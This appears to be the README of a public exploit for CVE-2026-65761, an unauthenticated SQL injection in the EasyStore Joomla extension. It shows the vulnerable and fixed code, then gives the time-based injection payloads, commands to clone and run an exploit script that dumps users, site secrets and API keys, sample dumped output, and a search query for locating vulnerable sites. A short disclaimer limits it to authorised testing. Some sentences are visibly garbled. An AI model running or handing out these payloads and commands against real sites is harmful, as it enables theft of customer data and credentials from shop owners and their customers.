
EasyStore Joomla Pre-Auth SQL Injection via filter_sortby Direction (CVE-2026-65761, CVSS 9.3)
CVE-2026-65761 (CVSS 9.3 Critical) is an unauthenticated SQL injection in EasyStore for Joomla by JoomShaper, affecting versions ≤ 2.0.1.
The filter_sortby product listing parameter is split into a column and direction. While the column is validated against an allow-list, the without any ASC/DESC restriction — allowing arbitrary SQL injection by an anonymous visitor.
ORDER BY clauseAn unauthenticated attacker can read the entire Joomla database: user accounts, password hashes, session data, site secrets, API keys, and all customer PII (names, emails, addresses, phone numbers, purchase history).
| CVE | CVE-2026-65761 |
| CVSS | 9.3 Critical |
| Affected | EasyStore ≤ 2.0.1 |
| Fixed | EasyStore 2.0.2 |
| Type | SQL Injection (CWE-89) |
| Authentication | None required |
| Discovered | Phil Taylor (mySites.guru) — July 2026 |
FilterHelper.php:741 returns the sort direction without any ASC/DESC allow-list check:
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
// ^^^^^^^^^ No validation — raw value after uppercase
ProductsModel.php:932 concatenates the direction directly into SQL:
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
// ^^^^^^^^^ Raw SQL concatenation
The sibling brand and collection listings had proper direction allow-lists. The product listing did not.
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check
// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
$direction = 'DESC';
}
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
└─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))
2. Column "price" passes allow-list check ✅
└─ ['ordering','featured','best_selling','title','price','created']
3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
└─ No ASC/DESC validation in vulnerable version
4. SQL constructed:
ORDER BY min_price ASC,(SELECT SLEEP(5))
└─ Time-based confirmation: 5 second delay
5. Attacker extracts full database via blind SQLi
| Requirement | Details |
|---|---|
| EasyStore ≤ 2.0.1 | Vulnerable version installed |
| Product listing accessible | index.php?option=com_easystore&view=products |
| No authentication | Works anonymously |
| MySQL/MariaDB | Time-based extraction via SLEEP() |
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check
# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users
# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla
+=================================================================+
| CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit |
+=================================================================+
Target : https://shop.target.com
Plugin : EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION
[STEP 1] Verifying SQL injection (time-based)
[*] SLEEP(5) delay: 5.2s
[+] SQLi confirmed (5.2s)
[STEP 2] Database fingerprint
[Version] 10.11.14-MariaDB
[Database] joomla_db
[User] joomla_user@localhost
[Prefix] jos_
[+] Version : 10.11.14-MariaDB
[+] Database: joomla_db
[+] User : joomla_user@localhost
[+] Prefix : jos_
[STEP 3] Dumping users
[+] Users: 15
USERNAME EMAIL NAME
───────────────────── ─────────────────────────────── ──────────
admin [email protected] Super User
manager [email protected] Store Manager
[STEP 4] Dumping sensitive configuration
[Secret] abc123def456...
[EasyStore] {"paypal_email":"[email protected]"...
[+] Secret: abc123def456...
[+] EasyStore: {"paypal_email":"[email protected]"...
[+] paypal_email: [email protected]
Requests: 1847
| File | Line | Issue |
|---|---|---|
site/src/Helper/FilterHelper.php | 741 | Returns direction without allow-list — strtoupper() only |
site/src/Model/ProductsModel.php | 932 | Concatenates $direction directly into ORDER BY clause |
filter_sortby = <column>-<direction>
Valid columns (allow-list passes):
ordering, featured, best_selling, title, price, created
Direction (no validation):
Injected directly after strtoupper()
→ ASC,(SELECT SLEEP(5))
→ ASC,(SELECT IF((condition),SLEEP(2),0))
| CVE | Type | CVSS |
|---|---|---|
| CVE-2026-65759 | Order forgery / payment manipulation | 8.7 |
| CVE-2026-65760 | Invoice IDOR (cross-customer data exposure) | 9.2 |
| CVE-2026-65761 | SQL Injection (this exploit) | 9.3 |
body="com_easystore" && body="filter_sortby"
For authorized security testing and educational research only. The authors assume no liability for misuse.